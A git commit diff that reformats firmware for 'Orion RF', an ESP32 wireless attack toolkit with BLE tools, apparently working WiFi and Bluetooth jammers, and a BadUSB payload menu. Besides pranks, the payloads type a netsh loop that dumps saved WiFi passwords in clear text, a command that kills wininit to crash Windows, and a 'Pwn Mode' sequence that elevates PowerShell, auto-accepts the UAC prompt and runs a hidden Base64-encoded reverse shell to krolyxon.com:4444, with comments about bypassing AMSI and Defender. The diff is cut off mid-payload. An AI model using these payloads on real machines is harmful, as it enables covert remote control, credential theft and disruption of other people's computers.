apply code formatting

This commit is contained in:
krolyxon 2026-05-14 23:14:31 +05:30
parent 3672abc8b4
commit 206ed22919
15 changed files with 1510 additions and 1693 deletions

View File

@ -27,8 +27,11 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
## Hardware
- ESP32-S3 N16R8
- 2x NRF24L01
- 2x CC1101
- 2x NRF24L01 Module
- 2x CC1101 Module
- PN532 NFC Module
- MicroSD card Module
- TP4056 Charging Module
- OLED display
- Battery-powered portable setup
@ -43,7 +46,7 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
| BLE Mouse | Working |
| BLE Jammer | Working |
| Bluetooth Jammer | Working |
| WiFi Jammer | Experimental |
| WiFi Jammer | Working |
| RF Capture | WIP |
| RF Replay | WIP |
| SD Card Support | Planned |

View File

@ -1,7 +1,7 @@
#include "../config.h"
#include "../hid/badusb.h"
#include <Arduino.h>
#include <BleMouse.h>
#include "../hid/badusb.h"
#include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h"
@ -11,64 +11,63 @@
extern BleMouse bleMouse;
// ===== MAIN =====
void ble_mouse_run()
{
void ble_mouse_run() {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(10, 25, "BLE Mouse");
u8g2.drawStr(10, 45, "Connecting...");
u8g2.sendBuffer();
delay(800);
while (1) {
// 🔥 EXIT FIRST (clean)
if (btnBack())
break;
bool connected = bleMouse.isConnected();
int dx = 0;
int dy = 0;
if (connected) {
if (!digitalRead(BTN_UP))
dy = -6;
if (!digitalRead(BTN_DOWN))
dy = 6;
if (!digitalRead(BTN_LEFT))
dx = -6;
if (!digitalRead(BTN_RIGHT))
dx = 6;
if (dx || dy)
bleMouse.move(dx, dy);
// ✅ single click (not spam)
static bool lastSelect = false;
bool currentSelect = !digitalRead(BTN_SELECT);
if (currentSelect && !lastSelect)
bleMouse.click(MOUSE_LEFT);
lastSelect = currentSelect;
}
// ===== UI =====
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(10, 25, "BLE Mouse");
u8g2.drawStr(10, 45, "Connecting...");
u8g2.drawStr(10, 20, "BLE Mouse");
if (connected)
u8g2.drawStr(10, 35, "Connected");
else
u8g2.drawStr(10, 35, "Waiting");
u8g2.drawStr(10, 55, "BACK = Exit");
u8g2.sendBuffer();
delay(800);
while (1)
{
// 🔥 EXIT FIRST (clean)
if (btnBack()) break;
bool connected = bleMouse.isConnected();
int dx = 0;
int dy = 0;
if (connected)
{
if (!digitalRead(BTN_UP)) dy = -6;
if (!digitalRead(BTN_DOWN)) dy = 6;
if (!digitalRead(BTN_LEFT)) dx = -6;
if (!digitalRead(BTN_RIGHT)) dx = 6;
if (dx || dy)
bleMouse.move(dx, dy);
// ✅ single click (not spam)
static bool lastSelect = false;
bool currentSelect = !digitalRead(BTN_SELECT);
if (currentSelect && !lastSelect)
bleMouse.click(MOUSE_LEFT);
lastSelect = currentSelect;
}
// ===== UI =====
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(10, 20, "BLE Mouse");
if (connected)
u8g2.drawStr(10, 35, "Connected");
else
u8g2.drawStr(10, 35, "Waiting");
u8g2.drawStr(10, 55, "BACK = Exit");
u8g2.sendBuffer();
delay(10); // important for BLE stability
}
delay(10); // important for BLE stability
}
}

View File

@ -1,20 +1,20 @@
#include <Arduino.h>
#include <BLEAdvertisedDevice.h>
#include <BLEDevice.h>
#include <BLEScan.h>
#include <BLEAdvertisedDevice.h>
#include <vector>
#include "ui/display.h"
#include "../utils/buttons.h"
#include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h"
// ===== DEVICE STRUCT =====
struct BLEDeviceInfo {
String name;
String address;
int rssi;
String manufacturer;
String deviceType;
String name;
String address;
int rssi;
String manufacturer;
String deviceType;
};
static std::vector<BLEDeviceInfo> devices;
@ -23,187 +23,168 @@ static int selectedIndex = 0;
// ===== CALLBACK =====
class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
void onResult(BLEAdvertisedDevice advertisedDevice) override {
BLEDeviceInfo dev;
void onResult(BLEAdvertisedDevice advertisedDevice) override {
BLEDeviceInfo dev;
String tempName = advertisedDevice.getName().c_str();
String tempName = advertisedDevice.getName().c_str();
if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
tempName = advertisedDevice.getServiceData().c_str();
}
if (tempName.length() == 0) {
String addr = advertisedDevice.getAddress().toString().c_str();
tempName = "BLE_" + addr.substring(addr.length() - 5);
}
dev.name = tempName;
dev.address = advertisedDevice.getAddress().toString().c_str();
dev.rssi = advertisedDevice.getRSSI();
if (advertisedDevice.haveManufacturerData()) {
String mData = advertisedDevice.getManufacturerData().c_str();
if (mData.length() >= 2) {
char buffer[10];
sprintf(buffer, "0x%02X%02X",
(uint8_t)mData[1],
(uint8_t)mData[0]);
dev.manufacturer = String(buffer);
} else {
dev.manufacturer = "unknown";
}
} else {
dev.manufacturer = "unknown";
}
if (advertisedDevice.haveServiceUUID()) {
dev.deviceType =
advertisedDevice.getServiceUUID().toString().c_str();
} else {
dev.deviceType = "unknown";
}
devices.push_back(dev);
if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
tempName = advertisedDevice.getServiceData().c_str();
}
if (tempName.length() == 0) {
String addr = advertisedDevice.getAddress().toString().c_str();
tempName = "BLE_" + addr.substring(addr.length() - 5);
}
dev.name = tempName;
dev.address = advertisedDevice.getAddress().toString().c_str();
dev.rssi = advertisedDevice.getRSSI();
if (advertisedDevice.haveManufacturerData()) {
String mData = advertisedDevice.getManufacturerData().c_str();
if (mData.length() >= 2) {
char buffer[10];
sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]);
dev.manufacturer = String(buffer);
} else {
dev.manufacturer = "unknown";
}
} else {
dev.manufacturer = "unknown";
}
if (advertisedDevice.haveServiceUUID()) {
dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str();
} else {
dev.deviceType = "unknown";
}
devices.push_back(dev);
}
};
// ===== DRAW MENU =====
void ble_drawMenu()
{
u8g2.clearBuffer();
void ble_drawMenu() {
u8g2.clearBuffer();
if (devices.empty())
{
u8g2.setFont(u8g2_font_6x12_tr);
u8g2.drawStr(0, 30, "No devices");
u8g2.drawStr(0, 45, "Press BACK");
if (devices.empty()) {
u8g2.setFont(u8g2_font_6x12_tr);
u8g2.drawStr(0, 30, "No devices");
u8g2.drawStr(0, 45, "Press BACK");
} else {
u8g2.setFont(u8g2_font_5x8_tr);
char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
u8g2.drawStr(0, 8, counter);
u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++) {
int idx = selectedIndex + i;
if (idx >= devices.size())
break;
int y = 22 + i * 14;
if (i == 0) {
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = devices[idx].name;
if (text.length() > 12)
text = text.substring(0, 12) + "..";
text += " (" + String(devices[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
}
else
{
u8g2.setFont(u8g2_font_5x8_tr);
}
char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
u8g2.drawStr(0, 8, counter);
u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++)
{
int idx = selectedIndex + i;
if (idx >= devices.size()) break;
int y = 22 + i * 14;
if (i == 0)
{
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = devices[idx].name;
if (text.length() > 12)
text = text.substring(0, 12) + "..";
text += " (" + String(devices[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
}
}
u8g2.sendBuffer();
u8g2.sendBuffer();
}
// ===== DEVICE DETAILS =====
void ble_drawDetails(const BLEDeviceInfo &dev)
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
void ble_drawDetails(const BLEDeviceInfo &dev) {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 10, dev.name.c_str());
u8g2.drawStr(0, 20, dev.address.c_str());
u8g2.drawStr(0, 10, dev.name.c_str());
u8g2.drawStr(0, 20, dev.address.c_str());
char rssiStr[20];
sprintf(rssiStr, "RSSI: %d", dev.rssi);
u8g2.drawStr(0, 30, rssiStr);
char rssiStr[20];
sprintf(rssiStr, "RSSI: %d", dev.rssi);
u8g2.drawStr(0, 30, rssiStr);
u8g2.drawStr(0, 40, dev.manufacturer.c_str());
u8g2.drawStr(0, 40, dev.manufacturer.c_str());
u8g2.sendBuffer();
u8g2.sendBuffer();
}
// ===== SCAN =====
void ble_scan()
{
devices.clear();
void ble_scan() {
devices.clear();
u8g2.clearBuffer();
u8g2.drawStr(10, 30, "Scanning...");
u8g2.sendBuffer();
u8g2.clearBuffer();
u8g2.drawStr(10, 30, "Scanning...");
u8g2.sendBuffer();
BLEDevice::init("");
BLEDevice::init("");
pBLEScan = BLEDevice::getScan();
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false);
pBLEScan->setActiveScan(true);
pBLEScan->setInterval(100);
pBLEScan->setWindow(99);
pBLEScan = BLEDevice::getScan();
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(),
false);
pBLEScan->setActiveScan(true);
pBLEScan->setInterval(100);
pBLEScan->setWindow(99);
pBLEScan->start(5, false);
pBLEScan->start(5, false);
// remove duplicates
std::vector<BLEDeviceInfo> unique;
for (auto &d : devices)
{
bool exists = false;
for (auto &u : unique)
{
if (u.address == d.address)
{
exists = true;
break;
}
}
if (!exists) unique.push_back(d);
// remove duplicates
std::vector<BLEDeviceInfo> unique;
for (auto &d : devices) {
bool exists = false;
for (auto &u : unique) {
if (u.address == d.address) {
exists = true;
break;
}
}
if (!exists)
unique.push_back(d);
}
devices = unique;
devices = unique;
}
// ===== MAIN LOOP =====
void ble_loop()
{
static uint32_t lastPress = 0;
void ble_loop() {
static uint32_t lastPress = 0;
if (millis() - lastPress < 200)
return;
if (millis() - lastPress < 200)
return;
if (btnDown() && selectedIndex < (int)devices.size() - 1)
{
selectedIndex++;
ble_drawMenu();
lastPress = millis();
}
else if (btnUp() && selectedIndex > 0)
{
selectedIndex--;
ble_drawMenu();
lastPress = millis();
}
else if (btnSelect() && !devices.empty())
{
ble_drawDetails(devices[selectedIndex]);
delay(3000);
ble_drawMenu();
lastPress = millis();
}
else if (btnBack())
{
lastPress = millis();
return;
}
if (btnDown() && selectedIndex < (int)devices.size() - 1) {
selectedIndex++;
ble_drawMenu();
lastPress = millis();
} else if (btnUp() && selectedIndex > 0) {
selectedIndex--;
ble_drawMenu();
lastPress = millis();
} else if (btnSelect() && !devices.empty()) {
ble_drawDetails(devices[selectedIndex]);
delay(3000);
ble_drawMenu();
lastPress = millis();
} else if (btnBack()) {
lastPress = millis();
return;
}
}

View File

@ -18,24 +18,19 @@
/////////////////cc1101 vars//////////////
// CC1101 via FSPI
#define cc1101_SCK 15
#define cc1101_MISO 3
#define cc1101_MISO 41
#define cc1101_MOSI 35
//////////////cc1101(1)//////////
#define CC1101_CS 45
#define CC1101_GDO0 21
#define CC1101_GDO2 47
/////////////cc1101(2)//////////
#define CC1101_2_CS 40
#define CC1101_2_GDO0 41
#define CC1101_2_GDO2 42
#define CC1101_CS 40
#define CC1101_GDO0 39
#define CC1101_GDO2 42
// SD Card via HSPI
#define SD_SCK 14
#define SD_MISO 39
#define SD_MOSI 38
#define SD_CS 37
//#define SD_SCK 14
//#define SD_MISO 39
//#define SD_MOSI 38
//#define SD_CS 37
// =================== Buttons ====================
@ -45,4 +40,3 @@
#define BTN_BACK 7
#define BTN_LEFT 1
#define BTN_RIGHT 2

View File

@ -1,6 +1,6 @@
#include "../ui/display.h"
#include <Arduino.h>
#include <USBHIDKeyboard.h>
#include "../ui/display.h"
extern USBHIDKeyboard Keyboard;
@ -56,332 +56,366 @@ void showRunningScreen(String taskName, uint8_t duration = 5) {
}
}
void typeSlow(const char *text, int delayMs = 25)
{
while (*text)
{
Keyboard.print(*text);
delay(delayMs);
text++;
}
void typeSlow(const char *text, int delayMs = 25) {
while (*text) {
Keyboard.print(*text);
delay(delayMs);
text++;
}
}
void badUSBMenu(int index) {
//switch (index)
// {
// case 0:
// runBadUSBDemo();
// break;
// switch (index)
// {
// case 0:
// runBadUSBDemo();
// break;
// case 1:
// Serial.println("Open CMD payload");
// runBadUSBOpenCMD();
// break;
// case 1:
// Serial.println("Open CMD payload");
// runBadUSBOpenCMD();
// break;
// case 2:
// Serial.println("Rickroll payload");
// runBadUSBRickroll();
// break;
// }
// case 2:
// Serial.println("Rickroll payload");
// runBadUSBRickroll();
// break;
// }
switch (index) {
// ================= ORION DEMO =================
case 0:
showRunningScreen("ORION Demo");
switch(index)
{
// ================= ORION DEMO =================
case 0:
showRunningScreen("ORION Demo");
runCommand("notepad");
runCommand("notepad");
delay(2500);
delay(2500);
typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
Keyboard.write(KEY_RETURN);
typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
Keyboard.write(KEY_RETURN);
typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
Keyboard.write(KEY_RETURN);
typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
Keyboard.write(KEY_RETURN);
typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
Keyboard.write(KEY_RETURN);
typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
Keyboard.write(KEY_RETURN);
typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
Keyboard.write(KEY_RETURN);
typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
Keyboard.write(KEY_RETURN);
typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
Keyboard.write(KEY_RETURN);
typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
Keyboard.write(KEY_RETURN);
typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
Keyboard.write(KEY_RETURN);
typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN);
typeSlow("[+] WIFI MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] WIFI MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] BLE MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] BLE MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] SUBGHZ MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] SUBGHZ MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] NFC MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] NFC MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] HID ENGINE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] HID ENGINE READY");
Keyboard.write(KEY_RETURN);
break;
break;
// ================= RICKROLL =================
case 1:
showRunningScreen("RickRoll");
// ================= RICKROLL =================
case 1:
showRunningScreen("RickRoll");
runCommand("cmd");
runCommand("cmd");
delay(700);
delay(700);
typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
Keyboard.write(KEY_RETURN);
typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
Keyboard.write(KEY_RETURN);
break;
break;
// ================= MATRIX =================
case 2:
showRunningScreen("Matrix");
// ================= MATRIX =================
case 2:
showRunningScreen("Matrix");
runCommand("cmd");
runCommand("cmd");
delay(700);
delay(700);
typeSlow("color 0A");
Keyboard.write(KEY_RETURN);
typeSlow("color 0A");
Keyboard.write(KEY_RETURN);
typeSlow("mode con: cols=120 lines=40");
Keyboard.write(KEY_RETURN);
typeSlow("mode con: cols=120 lines=40");
Keyboard.write(KEY_RETURN);
typeSlow(":A");
Keyboard.write(KEY_RETURN);
typeSlow(":A");
Keyboard.write(KEY_RETURN);
typeSlow("echo %random%%random%%random%%random%%random%");
Keyboard.write(KEY_RETURN);
typeSlow("echo %random%%random%%random%%random%%random%");
Keyboard.write(KEY_RETURN);
typeSlow("goto A");
Keyboard.write(KEY_RETURN);
typeSlow("goto A");
Keyboard.write(KEY_RETURN);
break;
break;
// ================= FAKE TERMINAL =================
case 3:
showRunningScreen("Fake Terminal");
// ================= FAKE TERMINAL =================
case 3:
showRunningScreen("Fake Terminal");
runCommand("cmd");
runCommand("cmd");
delay(700);
delay(700);
typeSlow("color 0A");
Keyboard.write(KEY_RETURN);
typeSlow("color 0A");
Keyboard.write(KEY_RETURN);
typeSlow("cls");
Keyboard.write(KEY_RETURN);
typeSlow("cls");
Keyboard.write(KEY_RETURN);
typeSlow("echo CONNECTING TO TARGET...");
Keyboard.write(KEY_RETURN);
typeSlow("echo CONNECTING TO TARGET...");
Keyboard.write(KEY_RETURN);
typeSlow("echo BYPASSING FIREWALL...");
Keyboard.write(KEY_RETURN);
typeSlow("echo BYPASSING FIREWALL...");
Keyboard.write(KEY_RETURN);
typeSlow("echo ACCESS GRANTED");
Keyboard.write(KEY_RETURN);
typeSlow("echo ACCESS GRANTED");
Keyboard.write(KEY_RETURN);
typeSlow("systeminfo");
Keyboard.write(KEY_RETURN);
typeSlow("systeminfo");
Keyboard.write(KEY_RETURN);
break;
break;
// ================= WIFI CRACK =================
// ================= WIFI PASSWORD RECOVERY =================
case 4:
showRunningScreen("WiFi Recovery");
// ================= WIFI PASSWORD RECOVERY =================
case 4:
showRunningScreen("WiFi Recovery");
runCommand("cmd");
delay(700);
runCommand("cmd");
delay(700);
// Styling the window
typeSlow("color 0A && mode con: cols=100 lines=30");
Keyboard.write(KEY_RETURN);
delay(200);
// Styling the window
typeSlow("color 0A && mode con: cols=100 lines=30");
Keyboard.write(KEY_RETURN);
delay(200);
typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
Keyboard.write(KEY_RETURN);
delay(500);
typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
Keyboard.write(KEY_RETURN);
delay(500);
// The "Magic" Command:
// This lists all profiles and shows the 'Key Content' (the password) in clear text.
// We use a 'for' loop to automate this for every network the PC has ever joined.
typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
// The "Magic" Command:
// This lists all profiles and shows the 'Key Content' (the password) in
// clear text. We use a 'for' loop to automate this for every network the PC
// has ever joined.
typeSlow(
"for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
"/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
"key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN);
// Optional: Keep the window open to read the results
typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
Keyboard.write(KEY_RETURN);
// Optional: Keep the window open to read the results
typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
Keyboard.write(KEY_RETURN);
break;
break;
// ================= FAKE UPDATE =================
case 5:
showRunningScreen("Fake Update");
// ================= FAKE UPDATE =================
case 5:
showRunningScreen("Fake Update");
runCommand("cmd");
runCommand("cmd");
delay(700);
delay(700);
typeSlow("start https://fakeupdate.net/win10u/");
Keyboard.write(KEY_RETURN);
typeSlow("start https://fakeupdate.net/win10u/");
Keyboard.write(KEY_RETURN);
break;
break;
// ================= FAKE BSOD =================
case 6:
showRunningScreen("Critical Error");
// ================= FAKE BSOD =================
case 6:
showRunningScreen("Critical Error");
runCommand("powershell -c \"stop-process -name wininit -force\"");
break;
runCommand("powershell -c \"stop-process -name wininit -force\"");
break;
// ================= GLITCH SCREEN =================
case 7:
showRunningScreen("Glitch");
// ================= GLITCH SCREEN =================
case 7:
showRunningScreen("Glitch");
runCommand("cmd");
runCommand("cmd");
delay(700);
delay(700);
for(int i = 0; i < 20; i++)
{
typeSlow("color 4F");
Keyboard.write(KEY_RETURN);
for (int i = 0; i < 20; i++) {
typeSlow("color 4F");
Keyboard.write(KEY_RETURN);
typeSlow("color 1F");
Keyboard.write(KEY_RETURN);
typeSlow("color 1F");
Keyboard.write(KEY_RETURN);
typeSlow("cls");
Keyboard.write(KEY_RETURN);
}
typeSlow("cls");
Keyboard.write(KEY_RETURN);
}
break;
break;
// ================= ASCII SPAM =================
case 8:
showRunningScreen("ASCII");
// ================= ASCII SPAM =================
case 8:
showRunningScreen("ASCII");
runCommand("notepad");
runCommand("notepad");
delay(2000);
delay(2000);
for(int i = 0; i < 15; i++)
{
typeSlow("######### ORION-RF #########");
Keyboard.write(KEY_RETURN);
for (int i = 0; i < 15; i++) {
typeSlow("######### ORION-RF #########");
Keyboard.write(KEY_RETURN);
typeSlow(">>> SIGNAL ACQUIRED <<<");
Keyboard.write(KEY_RETURN);
typeSlow(">>> SIGNAL ACQUIRED <<<");
Keyboard.write(KEY_RETURN);
typeSlow("[|||||||||||||||||||||||||]");
Keyboard.write(KEY_RETURN);
typeSlow("[|||||||||||||||||||||||||]");
Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN);
}
Keyboard.write(KEY_RETURN);
}
break;
break;
// ================= HACKER TYPER =================
case 9:
showRunningScreen("Hacker Typer");
// ================= HACKER TYPER =================
case 9:
showRunningScreen("Hacker Typer");
runCommand("cmd");
runCommand("cmd");
delay(700);
delay(700);
typeSlow("start https://hackertyper.net/");
Keyboard.write(KEY_RETURN);
typeSlow("start https://hackertyper.net/");
Keyboard.write(KEY_RETURN);
break;
// ================= POWERSHELL REVERSE SHELL =================
// ================= DEFENDER BYPASS + NC =================
case 10:
showRunningScreen("Pwn Mode v2");
break;
// ================= POWERSHELL REVERSE SHELL =================
// ================= DEFENDER BYPASS + NC =================
case 10:
showRunningScreen("Pwn Mode v2");
// 1. Open Admin PowerShell
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(150);
Keyboard.releaseAll();
delay(500);
// 1. Open Admin PowerShell
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(150);
Keyboard.releaseAll();
delay(500);
// Open Admin Prompt - using 'powershell' directly to save space
typeSlow("powershell Start-Process powershell -Verb runAs");
Keyboard.write(KEY_RETURN);
delay(2500); // Wait for UAC
// Open Admin Prompt - using 'powershell' directly to save space
typeSlow("powershell Start-Process powershell -Verb runAs");
Keyboard.write(KEY_RETURN);
delay(2500); // Wait for UAC
// 2. Bypass UAC (Left Arrow + Enter)
Keyboard.write(KEY_LEFT_ARROW);
delay(200);
Keyboard.write(KEY_RETURN);
delay(3000); // Give the Admin window time to load
// 2. Bypass UAC (Left Arrow + Enter)
Keyboard.write(KEY_LEFT_ARROW);
delay(200);
Keyboard.write(KEY_RETURN);
delay(3000); // Give the Admin window time to load
// 3. AMSI Bypass + Disable Defender + Execute Shell
// We use -EncodedCommand to hide the script from simple string scanners.
// The Base64 string below contains:
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
// 3. AMSI Bypass + Disable Defender + Execute Shell
// We use -EncodedCommand to hide the script from simple string scanners.
// The Base64 string below contains:
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand ");
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
"-EncodedCommand ");
// This is the encoded payload for krolyxon.com:4444
typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA"
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A"
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA"
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw"
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL"
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB"
"kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd"
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB"
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA=");
// This is the encoded payload for krolyxon.com:4444
typeSlow(
"JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG"
"UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0"
"AHIAaQBuAGcAKAAiAEgA"
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb"
"QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI"
"AbwBsAHkAeABvAG4A"
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG"
"UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5"
"AHQAZQBzACAAPQA"
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AI"
"AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGI"
"AeQB0AGUAcwAuAEw"
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOA"
"GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQA"
"uAFQAZQB4AHQAL"
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQ"
"AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoA"
"GkAZQB4ACAAJAB"
"kAGEAdABhACAAMgA+"
"ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYw"
"BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGU"
"AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA"
"CkALgBHAGUAd"
